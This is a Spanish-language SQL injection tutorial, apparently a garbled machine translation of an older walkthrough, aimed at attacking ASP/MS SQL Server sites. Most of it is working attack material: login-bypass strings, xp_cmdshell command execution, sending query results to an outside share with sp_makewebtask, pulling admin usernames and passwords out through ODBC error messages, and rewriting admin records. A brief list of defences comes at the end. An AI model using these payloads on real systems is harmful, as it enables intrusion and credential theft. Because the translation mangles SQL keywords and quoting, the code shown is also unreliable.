La inyección SQL es un método diseñado para inyectar consultas/comandos SQL a través de páginas web. Muchas páginas web utilizan parámetros presentados a los usuarios web y realizan una consulta SQL a la base de datos. Tomemos por ejemplo el caso de un inicio de sesión de usuario, cuando hay una página web con un nombre y contraseña y se realiza una consulta SQL en la base de datos para comprobar si hay un usuario registrado con ese nombre y contraseña. Usando SQL Inyección es posible enviar un campo de nombre de usuario y/o contraseña inventado que modifica la consulta SQL, lo que nos puede aportar algunas cosas interesantes.

2.0 Qué debemos buscar

Intente encontrar páginas que le soliciten datos, como una página de búsqueda, una página de discusión, etc. A veces las páginas html utilizan el método POST para enviar comandos a otra Página web. En este caso, no verá parámetros en la URL. Sin embargo, en este caso, puedes buscar la etiqueta "FORM" en el código fuente HTML de las páginas. Encontrarás algo como esto:



Todos los parámetros entre

Y
podría ser potencialmente vulnerable a la inyección SQL.

2.1 ¿Qué pasa si no encuentras una página que utilice entradas?

Busque páginas como páginas web ASP, JSP, CGI o PHP. Intente encontrar páginas que utilicen parámetros como:

3.0. ¿Cómo puedo comprobar que lo que encontré es vulnerable?

Intente comenzar con una cita simple. Ingrese la siguiente línea:

hola" o 1=1--

en el campo de nombre de usuario o contraseña, o incluso en el parámetro URL. Ejemplo:

Iniciar sesión: hola" o 1=1--
Pasar: hola" o 1=1--
http://duck/index.asp?id=hi" o 1=1--

Si hizo esto con un campo oculto, simplemente descargue el HTML original, guárdelo en su disco duro, cambie la URL y el campo oculto en consecuencia. Ejemplo:



Si la suerte está de tu lado, podrás iniciar sesión sin nombre de usuario ni contraseña.

3.1 ¿Pero por qué " o 1=1--?

Veamos otro ejemplo que explica la utilidad de la construcción " o 1=1--. Además de omitir el registro, también podemos ver información adicional que normalmente no está disponible. Considere una página asp que enlaza con otra página con la siguiente URL:

http://pato/index.asp?category=comida

En una URL, "categoría" es el nombre de la variable y "comida" es el valor asignado a esa variable. Para hacer esto, la página asp puede contener el siguiente código:

v_cat = solicitud("categoría")
sqlstr="SELECCIONAR * DEL producto DONDE PCategory="" & v_cat & """
establecer rs=conn.execute(sqlstr)

Como puede ver, nuestra variable se combinará con v_cat y, por lo tanto, la consulta SQL debería quedar:

SELECCIONE * DEL producto DONDE PCategory="comida"

Esta consulta debe devolver un conjunto que contenga una o más filas que coincidan con la cláusula WHERE, en este caso "comida". Ahora cambiemos la URL de la siguiente manera:

http://duck/index.asp?category=food" o 1=1--
SELECCIONE * DEL producto DONDE PCategory="comida" o 1=1--‘

Esta consulta devolverá todas las filas de la tabla de productos, independientemente de si Pcategory es "comida" o no. El guión doble "-" le indica a MS SQL Server que ignore el resto de la consulta que sigue a la comilla simple ("). A veces puede reemplazar el guión doble con un "#" agudo.

Sin embargo, si está utilizando un servidor que no es SQL o no puede ignorar el resto de la consulta, intente:

" o "a"="a

Ahora la consulta SQL será:

SELECCIONE * DEL producto DONDE PCategory="comida" o "a"="a"

Esta consulta devolverá el mismo resultado.

Dependiendo de la consulta SQL real, es posible que tengas que probar algunas de estas posibilidades:

"o 1=1--
"o 1=1--
o 1=1--
" o "a"="a
" o "a"="a
") o ("a"="a

4.0 ¿Cómo puedo ejecutar comandos de forma remota mediante inyección SQL?

La capacidad de ingresar un comando SQL generalmente significa que podemos ejecutar consultas SQL a voluntad. La instalación predeterminada de MS SQL Server se ejecuta con derechos del sistema. Podemos llamar a procedimientos integrados como master..xp_cmdshell para ejecutar comandos arbitrarios de forma remota:

"; maestro ejecutivo..xp_cmdshell "ping 10.10.1.2" --

Intente utilizar comillas dobles (") si (") no funciona.

El punto y coma finalizará la consulta SQL actual y le permitirá ejecutar nuevos comandos SQL. Para verificar si el comando fue exitoso, puede verificar los paquetes ICMP en 10.10.1.2 para ver si contienen algún paquete del servidor vulnerable:

http://sitio/?ID=31610

Si no recibe ninguna solicitud de ping del servidor y recibe un mensaje de error que indica un error de permiso, es posible que el administrador haya restringido el acceso del usuario web a los procedimientos almacenados.

5.0 ¿Cómo obtengo los resultados de mi consulta SQL?

Puede utilizar sp_makewebtask para escribir su solicitud en HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECCIONAR * DE INFORMACIÓN_SCHEMA.TABLES"

La IP especificada debe tener una carpeta "compartida" con acceso para todos.

6.0 ¿Cómo recuperar datos de una base de datos usando mensajes de error ODBC?

Podemos utilizar la información del mensaje de error producido por el servidor SQL para recuperar cualquier dato. Por ejemplo, considere la siguiente página:

http://pato/index.asp?id=10

Ahora intentaremos concatenar el número entero '10' con otra fila de la base de datos:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

La tabla del sistema INFORMACIÓN_SCHEMA.TABLES contiene información de todas las tablas del servidor.

El campo TABLE_NAME obviamente contiene el nombre de cada tabla en la base de datos. Fue elegido porque sabemos que siempre existe. Nuestra solicitud:

SELECCIONE LA 1 PRINCIPAL TABLE_NAME DE INFORMACIÓN_SCHEMA.TABLES--

Esta consulta devolverá el primer nombre en la base de datos. Cuando UNIMOS este valor de cadena al número entero 10, MS SQL Server intentará convertir la cadena nvarchar en un número entero. Esto generará un error que indica que no se puede convertir nvarchar a int. El servidor arrojará el siguiente error:


Error de sintaxis al convertir el valor nvarchar "table1" to a column of data type int. !}
/index.asp, línea 5

El mensaje de error contiene información sobre un valor que no se puede convertir a un número entero. En este caso, obtuvimos el nombre de la primera tabla: "tabla1".

Para obtener el siguiente nombre de la tabla, podemos utilizar la siguiente consulta:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES DONDE TABLE_NAME NO ESTÁ ("table1")--

También podemos buscar datos usando la tecla ME GUSTA:

http://duck/index.asp?id=10 UNION SELECCIONA EL PRINCIPAL 1 NOMBRE DE TABLA DE INFORMACIÓN_SCHEMA.TABLES DONDE NOMBRE DE TABLA COMO "%25login%25"--

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC Error de sintaxis al convertir el valor nvarchar "admin_login" to a column of data type int. !} /index.asp, línea 5

La construcción correspondiente "%25login%25" se reemplazará con %login% en el servidor SQL. En este caso, obtendremos el nombre de la tabla que coincide con el criterio "admin_login".

6.1 ¿Cómo puedo saber todos los nombres de las columnas de una tabla?

Podemos usar la tabla INFORMACIÓN_SCHEMA.COLUMNS para mostrar todos los nombres de las columnas en la tabla:

http://duck/index.asp?id=10 UNION SELECCIONE LA 1 COLUMNA_NOMBRE PRINCIPAL DE INFORMACIÓN_ESQUEMA.COLUMNAS DONDE TABLE_NAME="admin_login"-

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "login_id" to a column of data type int. !}
/index.asp, línea 5

Ahora que conocemos el nombre de la primera columna, podemos usar NOT IN() para obtener el nombre de la siguiente columna:

http://duck/index.asp?id=10 UNION SELECCIONE LA 1 COLUMNA_NOMBRE PRINCIPAL DE INFORMACIÓN_SCHEMA.COLUMNS DONDE TABLE_NAME="admin_login" DONDE COLUMN_NAME NO ESTÁ ("login_id")-

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "login_name" to a column of data type int. !}
/index.asp, línea 5

Continuando obtendremos el resto de los nombres de las columnas, es decir. "contraseña", "detalles" hasta que obtengamos el siguiente error.

http://duck/index.asp?id=10 UNION SELECCIONE LA 1 COLUMNA_NOMBRE PRINCIPAL DE INFORMACIÓN_SCHEMA.COLUMNS DONDE TABLE_NAME="admin_login" DONDE COLUMN_NAME NO EN ("login_id","login_name","contraseña",detalles")--

Error "80040e14" del proveedor Microsoft OLE DB para controladores ODBC
Los elementos ORDER BY deben aparecer en la lista de selección si la declaración contiene un operador UNION.
/index.asp, línea 5

6.2. ¿Cómo obtenemos los datos que necesitamos?

Ahora que hemos identificado algunas tablas importantes, podemos utilizar la misma técnica para recuperar información de la base de datos.

Obtengamos el primer login_name de la tabla "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "neo" to a column of data type int. !}
/index.asp, línea 5

Ahora sabemos que hay un usuario administrador con nombre de inicio de sesión "neo". Finalmente podemos obtener la contraseña "neo":

http://duck/index.asp?id=10 UNION SELECCIONA LA PRINCIPAL 1 contraseña DE admin_login donde login_name="neo"--

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "m4trix" to a column of data type int. !}
/index.asp, línea 5

Ahora podremos iniciar sesión como "neo" con la contraseña "m4trix".

6.3 ¿Cómo obtener el valor numérico de una cadena?

Existe una limitación en el método descrito anteriormente. No podremos recibir un mensaje de error si intentamos convertir texto que consta de un número (solo caracteres entre 0...9). Ahora describiremos cómo obtener la contraseña "31173" del usuario "trinity":

http://duck/index.asp?id=10 UNION SELECCIONA LA PRINCIPAL 1 contraseña DE admin_login donde login_name="trinity"--

Probablemente recibamos el error "Página no encontrada". El motivo es que la contraseña "31173" se convertirá en un número, antes de la UNIÓN con un número entero (en nuestro caso 10). Como la expresión UNION es correcta, el servidor SQL no generará un mensaje de error y por tanto no podremos obtener un registro numérico.

Para resolver este problema, podemos agregar una cadena numérica al final con algunas letras para evitar que se realice la conversión. Solicitud modificada:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, contraseña%2b"%20morpheus") FROM admin_login donde login_name="trinity"--

Simplemente usamos el signo más (+) para agregar cualquier texto a la contraseña (codificación ASSCII para "+" = 0x2b). A continuación, agregaremos "%20morpheus" al final de la contraseña real. Entonces, incluso si el valor de la contraseña es "31173", se convertirá en "31173 morfeo". Al llamar manualmente a la función convert() al intentar convertir "31173 morpheus" en un número entero, SQL Server generará un mensaje de error ODBC:

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, línea 5

Ahora podremos iniciar sesión como "trinity" con la contraseña "31173".

7.0 ¿Cómo modificar/insertar datos en la base de datos?

Una vez que tengamos los nombres de todos por columna en la tabla, podemos actualice (ACTUALIZAR) o incluso inserte (INSERT) un nuevo registro en la tabla. Por ejemplo, podemos cambiar la contraseña de "neo":

http://duck/index.asp?id=10; ACTUALIZAR "admin_login" SET "contraseña" = "newpas5" DONDE login_name="neo--

Para INSERTAR un nuevo registro en la base de datos:

http://duck/index.asp?id=10; INSERTAR EN "admin_login" ("login_id", "login_name", "contraseña", "detalles") VALORES (666,"neo2","newpas5","NA")--

Ahora podremos iniciar sesión como "neo" con la contraseña "newpas5".

8.0 ¿Cómo evitar la inyección SQL?

Filtrar caracteres especiales en todas las líneas en:

Cualquier dato introducido por el usuario.
- parámetros de URL
- Galleta

Para valores numéricos, conviértalos a números enteros antes de pasarlos a la consulta SQL. O use ISNUMERIC para asegurarse de que sea un número entero.

Ejecute SQL Server como usuario sin privilegios.

Elimine los procedimientos almacenados no utilizados: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

decirles a los amigos